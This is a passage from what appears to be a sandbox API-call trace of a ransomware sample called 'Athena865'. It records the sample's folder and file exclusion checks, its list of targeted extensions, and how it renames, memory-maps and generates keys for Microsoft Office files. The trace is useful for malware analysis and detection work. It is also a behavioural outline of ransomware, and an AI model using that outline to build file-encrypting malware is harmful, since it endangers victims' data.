(lpString1="GROOVEMN.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0072.364] lstrcmpiW (lpString1="GROOVEMN.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0072.364] lstrcmpiW (lpString1="GROOVEMN.EXE", lpString2=".") returned 1 [0072.364] lstrcmpiW (lpString1="GROOVEMN.EXE", lpString2="..") returned 1 [0072.364] lstrcmpiW (lpString1="GROOVEMN.EXE", lpString2="windows") returned -1 [0072.364] lstrcmpiW (lpString1="GROOVEMN.EXE", lpString2="bootmgr") returned 1 [0072.364] lstrcmpiW (lpString1="GROOVEMN.EXE", lpString2="temp") returned -1 [0072.364] lstrcmpiW (lpString1="GROOVEMN.EXE", lpString2="pagefile.sys") returned -1 [0072.364] lstrcmpiW (lpString1="GROOVEMN.EXE", lpString2="boot") returned 1 [0072.364] lstrcmpiW (lpString1="GROOVEMN.EXE", lpString2="ids.txt") returned -1 [0072.364] lstrcmpiW (lpString1="GROOVEMN.EXE", lpString2="ntuser.dat") returned -1 [0072.364] lstrcmpiW (lpString1="GROOVEMN.EXE", lpString2="perflogs") returned -1 [0072.364] lstrcmpiW (lpString1="GROOVEMN.EXE", lpString2="MSBuild") returned -1 [0072.364] lstrlenW (lpString="GROOVEMN.EXE") returned 12 [0072.364] lstrcpyW (in: lpString1=0x241e89e, lpString2="GROOVEMN.EXE" | out: lpString1="GROOVEMN.EXE") returned="GROOVEMN.EXE" [0072.364] lstrlenW (lpString="GROOVEMN.EXE") returned 12 [0072.364] lstrlenW (lpString="Athena865") returned 9 [0072.364] lstrcmpiW (lpString1="OVEMN.EXE", lpString2="Athena865") returned 1 [0072.364] lstrlenW (lpString=".dll") returned 4 [0072.364] lstrcmpiW (lpString1="GROOVEMN.EXE", lpString2=".dll") returned 1 [0072.364] lstrlenW (lpString=".lnk") returned 4 [0072.364] lstrcmpiW (lpString1="GROOVEMN.EXE", lpString2=".lnk") returned 1 [0072.365] lstrlenW (lpString=".ini") returned 4 [0072.365] lstrcmpiW (lpString1="GROOVEMN.EXE", lpString2=".ini") returned 1 [0072.365] lstrlenW (lpString=".sys") returned 4 [0072.365] lstrcmpiW (lpString1="GROOVEMN.EXE", lpString2=".sys") returned 1 [0072.365] lstrlenW (lpString="GROOVEMN.EXE") returned 12 [0072.365] lstrlenW (lpString="bak") returned 3 [0072.365] lstrcmpiW (lpString1="EXE", lpString2="bak") returned 1 [0072.365] lstrlenW (lpString="ba_") returned 3 [0072.365] lstrcmpiW (lpString1="EXE", lpString2="ba_") returned 1 [0072.365] lstrlenW (lpString="dbb") returned 3 [0072.365] lstrcmpiW (lpString1="EXE", lpString2="dbb") returned 1 [0072.365] lstrlenW (lpString="vmdk") returned 4 [0072.365] lstrcmpiW (lpString1=".EXE", lpString2="vmdk") returned -1 [0072.365] lstrlenW (lpString="rar") returned 3 [0072.365] lstrcmpiW (lpString1="EXE", lpString2="rar") returned -1 [0072.365] lstrlenW (lpString="zip") returned 3 [0072.365] lstrcmpiW (lpString1="EXE", lpString2="zip") returned -1 [0072.365] lstrlenW (lpString="tgz") returned 3 [0072.365] lstrcmpiW (lpString1="EXE", lpString2="tgz") returned -1 [0072.365] lstrlenW (lpString="vbox") returned 4 [0072.365] lstrcmpiW (lpString1=".EXE", lpString2="vbox") returned -1 [0072.365] lstrlenW (lpString="vdi") returned 3 [0072.365] lstrcmpiW (lpString1="EXE", lpString2="vdi") returned -1 [0072.365] lstrlenW (lpString="vhd") returned 3 [0072.365] lstrcmpiW (lpString1="EXE", lpString2="vhd") returned -1 [0072.365] lstrlenW (lpString="vhdx") returned 4 [0072.365] lstrcmpiW (lpString1=".EXE", lpString2="vhdx") returned -1 [0072.365] lstrlenW (lpString="avhd") returned 4 [0072.365] lstrcmpiW (lpString1=".EXE", lpString2="avhd") returned -1 [0072.365] lstrlenW (lpString="db") returned 2 [0072.365] lstrcmpiW (lpString1="XE", lpString2="db") returned 1 [0072.365] lstrlenW (lpString="db2") returned 3 [0072.365] lstrcmpiW (lpString1="EXE", lpString2="db2") returned 1 [0072.365] lstrlenW (lpString="db3") returned 3 [0072.366] lstrcmpiW (lpString1="EXE", lpString2="db3") returned 1 [0072.366] lstrlenW (lpString="dbf") returned 3 [0072.366] lstrcmpiW (lpString1="EXE", lpString2="dbf") returned 1 [0072.366] lstrlenW (lpString="mdf") returned 3 [0072.366] lstrcmpiW (lpString1="EXE", lpString2="mdf") returned -1 [0072.366] lstrlenW (lpString="mdb") returned 3 [0072.366] lstrcmpiW (lpString1="EXE", lpString2="mdb") returned -1 [0072.366] lstrlenW (lpString="sql") returned 3 [0072.366] lstrcmpiW (lpString1="EXE", lpString2="sql") returned -1 [0072.366] lstrlenW (lpString="sqlite") returned 6 [0072.366] lstrcmpiW (lpString1="MN.EXE", lpString2="sqlite") returned -1 [0072.366] lstrlenW (lpString="sqlite3") returned 7 [0072.366] lstrcmpiW (lpString1="EMN.EXE", lpString2="sqlite3") returned -1 [0072.366] lstrlenW (lpString="sqlitedb") returned 8 [0072.366] lstrcmpiW (lpString1="VEMN.EXE", lpString2="sqlitedb") returned 1 [0072.366] lstrlenW (lpString="xml") returned 3 [0072.366] lstrcmpiW (lpString1="EXE", lpString2="xml") returned -1 [0072.366] lstrlenW (lpString="$er") returned 3 [0072.366] lstrcmpiW (lpString1="EXE", lpString2="$er") returned 1 [0072.366] lstrlenW (lpString="4dd") returned 3 [0072.366] lstrcmpiW (lpString1="EXE", lpString2="4dd") returned 1 [0072.366] lstrlenW (lpString="4dl") returned 3 [0072.366] lstrcmpiW (lpString1="EXE", lpString2="4dl") returned 1 [0072.366] lstrlenW (lpString="^^^") returned 3 [0072.366] lstrcmpiW (lpString1="EXE", lpString2="^^^") returned 1 [0072.366] lstrlenW (lpString="abs") returned 3 [0072.366] lstrcmpiW (lpString1="EXE", lpString2="abs") returned 1 [0072.366] lstrlenW (lpString="abx") returned 3 [0072.366] lstrcmpiW (lpString1="EXE", lpString2="abx") returned 1 [0072.366] lstrlenW (lpString="accdb") returned 5 [0072.366] lstrcmpiW (lpString1="N.EXE", lpString2="accdb") returned 1 [0072.366] lstrlenW (lpString="accdc") returned 5 [0072.366] lstrcmpiW (lpString1="N.EXE", lpString2="accdc") returned 1 [0072.367] lstrlenW (lpString="accde") returned 5 [0072.367] lstrcmpiW (lpString1="N.EXE", lpString2="accde") returned 1 [0072.367] lstrlenW (lpString="accdr") returned 5 [0072.367] lstrcmpiW (lpString1="N.EXE", lpString2="accdr") returned 1 [0072.367] lstrlenW (lpString="accdt") returned 5 [0072.367] lstrcmpiW (lpString1="N.EXE", lpString2="accdt") returned 1 [0072.367] lstrlenW (lpString="accdw") returned 5 [0072.367] lstrcmpiW (lpString1="N.EXE", lpString2="accdw") returned 1 [0072.367] lstrlenW (lpString="accft") returned 5 [0072.367] lstrcmpiW (lpString1="N.EXE", lpString2="accft") returned 1 [0072.367] lstrlenW (lpString="adb") returned 3 [0072.367] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0072.367] lstrlenW (lpString="adb") returned 3 [0072.367] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0072.367] lstrlenW (lpString="ade") returned 3 [0072.367] lstrcmpiW (lpString1="EXE", lpString2="ade") returned 1 [0072.367] lstrlenW (lpString="adf") returned 3 [0072.367] lstrcmpiW (lpString1="EXE", lpString2="adf") returned 1 [0072.367] lstrlenW (lpString="adn") returned 3 [0072.367] lstrcmpiW (lpString1="EXE", lpString2="adn") returned 1 [0072.367] lstrlenW (lpString="adp") returned 3 [0072.367] lstrcmpiW (lpString1="EXE", lpString2="adp") returned 1 [0072.367] lstrlenW (lpString="alf") returned 3 [0072.367] lstrcmpiW (lpString1="EXE", lpString2="alf") returned 1 [0072.367] lstrlenW (lpString="ask") returned 3 [0072.367] lstrcmpiW (lpString1="EXE", lpString2="ask") returned 1 [0072.367] lstrlenW (lpString="btr") returned 3 [0072.367] lstrcmpiW (lpString1="EXE", lpString2="btr") returned 1 [0072.367] lstrlenW (lpString="cat") returned 3 [0072.367] lstrcmpiW (lpString1="EXE", lpString2="cat") returned 1 [0072.367] lstrlenW (lpString="cdb") returned 3 [0072.367] lstrcmpiW (lpString1="EXE", lpString2="cdb") returned 1 [0072.367] lstrlenW (lpString="ckp") returned 3 [0072.368] lstrcmpiW (lpString1="EXE", lpString2="ckp") returned 1 [0072.368] lstrlenW (lpString="cma") returned 3 [0072.368] lstrcmpiW (lpString1="EXE", lpString2="cma") returned 1 [0072.368] lstrlenW (lpString="cpd") returned 3 [0072.368] lstrcmpiW (lpString1="EXE", lpString2="cpd") returned 1 [0072.368] lstrlenW (lpString="dacpac") returned 6 [0072.368] lstrcmpiW (lpString1="MN.EXE", lpString2="dacpac") returned 1 [0072.368] lstrlenW (lpString="dad") returned 3 [0072.368] lstrcmpiW (lpString1="EXE", lpString2="dad") returned 1 [0072.368] lstrlenW (lpString="dadiagrams") returned 10 [0072.368] lstrcmpiW (lpString1="OOVEMN.EXE", lpString2="dadiagrams") returned 1 [0072.368] lstrlenW (lpString="daschema") returned 8 [0072.368] lstrcmpiW (lpString1="VEMN.EXE", lpString2="daschema") returned 1 [0072.368] lstrlenW (lpString="db-journal") returned 10 [0072.368] lstrcmpiW (lpString1="OOVEMN.EXE", lpString2="db-journal") returned 1 [0072.368] lstrlenW (lpString="db-shm") returned 6 [0072.368] lstrcmpiW (lpString1="MN.EXE", lpString2="db-shm") returned 1 [0072.368] lstrlenW (lpString="db-wal") returned 6 [0072.368] lstrcmpiW (lpString1="MN.EXE", lpString2="db-wal") returned 1 [0072.368] lstrlenW (lpString="dbc") returned 3 [0072.368] lstrcmpiW (lpString1="EXE", lpString2="dbc") returned 1 [0072.368] lstrlenW (lpString="dbs") returned 3 [0072.368] lstrcmpiW (lpString1="EXE", lpString2="dbs") returned 1 [0072.368] lstrlenW (lpString="dbt") returned 3 [0072.368] lstrcmpiW (lpString1="EXE", lpString2="dbt") returned 1 [0072.368] lstrlenW (lpString="dbv") returned 3 [0072.368] lstrcmpiW (lpString1="EXE", lpString2="dbv") returned 1 [0072.368] lstrlenW (lpString="dbx") returned 3 [0072.368] lstrcmpiW (lpString1="EXE", lpString2="dbx") returned 1 [0072.368] lstrlenW (lpString="dcb") returned 3 [0072.368] lstrcmpiW (lpString1="EXE", lpString2="dcb") returned 1 [0072.368] lstrcmpiW (lpString1="EXE", lpString2="dct") returned 1 [0072.369] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEMN.EXE.Athena865") returned 65 [0072.369] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEMN.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\groovemn.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEMN.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\groovemn.exe.athena865"), dwFlags=0x1) returned 1 [0072.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEMN.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\groovemn.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0072.370] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1371528) returned 1 [0072.370] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0072.370] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0072.370] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0072.370] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0072.371] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0072.371] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0072.371] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14f090, lpName=0x0) returned 0x154 [0072.373] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x14f090) returned 0x2d50000 [0072.427] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0072.428] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0072.428] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0072.428] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0072.428] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0072.428] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0072.428] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0072.428] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0072.428] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0072.429] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0072.429] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0072.429] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0072.429] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0072.429] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0072.440] CloseHandle (hObject=0x154) returned 1 [0072.441] CloseHandle (hObject=0x17c) returned 1 [0072.441] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0072.441] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0072.441] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0072.446] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe88ce00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbe88ce00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0072.446] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0072.446] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd0360920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x91b68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HVAC.DLL", cAlternateFileName="")) returned 1 [0072.446] lstrcmpiW (lpString1="HVAC.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0072.446] lstrcmpiW (lpString1="HVAC.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0072.447] lstrcmpiW (lpString1="HVAC.DLL", lpString2=".") returned 1 [0072.447] lstrcmpiW (lpString1="HVAC.DLL", lpString2="..") returned 1 [0072.447] lstrcmpiW (lpString1="HVAC.DLL", lpString2="windows") returned -1 [0072.447] lstrcmpiW (lpString1="HVAC.DLL", lpString2="bootmgr") returned 1 [0072.447] lstrcmpiW (lpString1="HVAC.DLL", lpString2="temp") returned -1 [0072.447] lstrcmpiW (lpString1="HVAC.DLL", lpString2="pagefile.sys") returned -1 [0072.447] lstrcmpiW (lpString1="HVAC.DLL", lpString2="boot") returned 1 [0072.447] lstrcmpiW (lpString1="HVAC.DLL", lpString2="ids.txt") returned -1 [0072.447] lstrcmpiW (lpString1="HVAC.DLL", lpString2="ntuser.dat") returned -1 [0072.447] lstrcmpiW (lpString1="HVAC.DLL", lpString2="perflogs") returned -1 [0072.447] lstrcmpiW (lpString1="HVAC.DLL", lpString2="MSBuild") returned -1 [0072.447] lstrlenW (lpString="HVAC.DLL") returned 8 [0072.447] lstrcpyW (in: lpString1=0x241e89e, lpString2="HVAC.DLL" | out: lpString1="HVAC.DLL") returned="HVAC.DLL" [0072.447] lstrlenW (lpString="HVAC.DLL") returned 8 [0072.447] lstrlenW (lpString="Athena865") returned 9 [0072.447] lstrlenW (lpString=".dll") returned 4 [0072.447] lstrcmpiW (lpString1="HVAC.DLL", lpString2=".dll") returned 1 [0072.447] lstrlenW (lpString=".lnk") returned 4 [0072.447] lstrcmpiW (lpString1="HVAC.DLL", lpString2=".lnk") returned 1 [0072.447] lstrlenW (lpString=".ini") returned 4 [0072.447] lstrcmpiW (lpString1="HVAC.DLL", lpString2=".ini") returned 1 [0072.447] lstrlenW (lpString=".sys") returned 4 [0072.447] lstrcmpiW (lpString1="HVAC.DLL", lpString2=".sys") returned 1 [0072.447] lstrlenW (lpString="HVAC.DLL") returned 8 [0072.447] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\HVAC.DLL.Athena865") returned 61 [0072.447] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\HVAC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\hvac.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\HVAC.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\hvac.dll.athena865"), dwFlags=0x1) returned 1 [0072.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HVAC.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\hvac.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0072.449] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=596840) returned 1 [0072.449] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0072.449] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0072.449] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0072.449] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0072.450] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0072.450] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0072.450] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x91e70, lpName=0x0) returned 0x154 [0072.454] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x91e70) returned 0x2d50000 [0072.473] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0072.474] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0072.474] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0072.474] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0072.474] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0072.474] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0072.474] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x51df88 [0072.474] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0072.474] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x51e0a0 [0072.475] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0072.475] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51e0a0 | out: hHeap=0x4f0000) returned 1 [0072.475] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0072.475] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51df88 | out: hHeap=0x4f0000) returned 1 [0072.475] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0072.480] CloseHandle (hObject=0x154) returned 1 [0072.480] CloseHandle (hObject=0x17c) returned 1 [0072.480] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0072.480] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0072.480] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0072.483] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50eeca00, ftCreationTime.dwHighDateTime=0x1cbceff, ftLastAccessTime.dwLowDateTime=0xcf0a1be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50eeca00, ftLastWriteTime.dwHighDateTime=0x1cbceff, nFileSizeHigh=0x0, nFileSizeLow=0x3b360, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IEAWSDC.DLL", cAlternateFileName="")) returned 1 [0072.483] lstrcmpiW (lpString1="IEAWSDC.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0072.483] lstrcmpiW (lpString1="IEAWSDC.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0072.483] lstrcmpiW (lpString1="IEAWSDC.DLL", lpString2=".") returned 1 [0072.483] lstrcmpiW (lpString1="IEAWSDC.DLL", lpString2="..") returned 1 [0072.483] lstrcmpiW (lpString1="IEAWSDC.DLL", lpString2="windows") returned -1 [0072.483] lstrcmpiW (lpString1="IEAWSDC.DLL", lpString2="bootmgr") returned 1 [0072.483] lstrcmpiW (lpString1="IEAWSDC.DLL", lpString2="temp") returned -1 [0072.483] lstrcmpiW (lpString1="IEAWSDC.DLL", lpString2="pagefile.sys") returned -1 [0072.483] lstrcmpiW (lpString1="IEAWSDC.DLL", lpString2="boot") returned 1 [0072.483] lstrcmpiW (lpString1="IEAWSDC.DLL", lpString2="ids.txt") returned 1 [0072.483] lstrcmpiW (lpString1="IEAWSDC.DLL", lpString2="ntuser.dat") returned -1 [0072.483] lstrcmpiW (lpString1="IEAWSDC.DLL", lpString2="perflogs") returned -1 [0072.483] lstrcmpiW (lpString1="IEAWSDC.DLL", lpString2="MSBuild") returned -1 [0072.483] lstrlenW (lpString="IEAWSDC.DLL") returned 11 [0072.483] lstrcpyW (in: lpString1=0x241e89e, lpString2="IEAWSDC.DLL" | out: lpString1="IEAWSDC.DLL") returned="IEAWSDC.DLL" [0072.483] lstrlenW (lpString="IEAWSDC.DLL") returned 11 [0072.483] lstrlenW (lpString="Athena865") returned 9 [0072.484] lstrcmpiW (lpString1="AWSDC.DLL", lpString2="Athena865") returned 1 [0072.484] lstrlenW (lpString=".dll") returned 4 [0072.484] lstrcmpiW (lpString1="IEAWSDC.DLL", lpString2=".dll") returned 1 [0072.484] lstrlenW (lpString=".lnk") returned 4 [0072.484] lstrcmpiW (lpString1="IEAWSDC.DLL", lpString2=".lnk") returned 1 [0072.484] lstrlenW (lpString=".ini") returned 4 [0072.484] lstrcmpiW (lpString1="IEAWSDC.DLL", lpString2=".ini") returned 1 [0072.484] lstrlenW (lpString=".sys") returned 4 [0072.484] lstrcmpiW (lpString1="IEAWSDC.DLL", lpString2=".sys") returned 1 [0072.484] lstrlenW (lpString="IEAWSDC.DLL") returned 11 [0072.484] lstrlenW (lpString="bak") returned 3 [0072.484] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0072.484] lstrlenW (lpString="ba_") returned 3 [0072.484] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0072.484] lstrlenW (lpString="dbb") returned 3 [0072.484] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0072.484] lstrlenW (lpString="vmdk") returned 4 [0072.484] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0072.484] lstrlenW (lpString="rar") returned 3 [0072.484] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0072.484] lstrlenW (lpString="zip") returned 3 [0072.484] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0072.484] lstrlenW (lpString="tgz") returned 3 [0072.484] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0072.484] lstrlenW (lpString="vbox") returned 4 [0072.484] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0072.484] lstrlenW (lpString="vdi") returned 3 [0072.484] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0072.484] lstrlenW (lpString="vhd") returned 3 [0072.484] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0072.484] lstrlenW (lpString="vhdx") returned 4 [0072.484] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0072.485] lstrlenW (lpString="avhd") returned 4 [0072.485] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0072.485] lstrlenW (lpString="db") returned 2 [0072.485] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0072.485] lstrlenW (lpString="db2") returned 3 [0072.485] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0072.485] lstrlenW (lpString="db3") returned 3 [0072.485] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0072.485] lstrlenW (lpString="dbf") returned 3 [0072.485] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0072.485] lstrlenW (lpString="mdf") returned 3 [0072.485] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0072.485] lstrlenW (lpString="mdb") returned 3 [0072.485] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0072.485] lstrlenW (lpString="sql") returned 3 [0072.485] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0072.485] lstrlenW (lpString="sqlite") returned 6 [0072.485] lstrcmpiW (lpString1="DC.DLL", lpString2="sqlite") returned -1 [0072.485] lstrlenW (lpString="sqlite3") returned 7 [0072.485] lstrcmpiW (lpString1="SDC.DLL", lpString2="sqlite3") returned -1 [0072.485] lstrlenW (lpString="sqlitedb") returned 8 [0072.485] lstrcmpiW (lpString1="WSDC.DLL", lpString2="sqlitedb") returned 1 [0072.485] lstrlenW (lpString="xml") returned 3 [0072.485] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0072.485] lstrlenW (lpString="$er") returned 3 [0072.485] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0072.485] lstrlenW (lpString="4dd") returned 3 [0072.485] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0072.485] lstrlenW (lpString="4dl") returned 3 [0072.485] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0072.485] lstrlenW (lpString="^^^") returned 3 [0072.485] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0072.485] lstrlenW (lpString="abs") returned 3 [0072.486] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0072.486] lstrlenW (lpString="abx") returned 3 [0072.486] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0072.486] lstrlenW (lpString="accdb") returned 5 [0072.486] lstrcmpiW (lpString1="C.DLL", lpString2="accdb") returned 1 [0072.486] lstrlenW (lpString="accdc") returned 5 [0072.486] lstrcmpiW 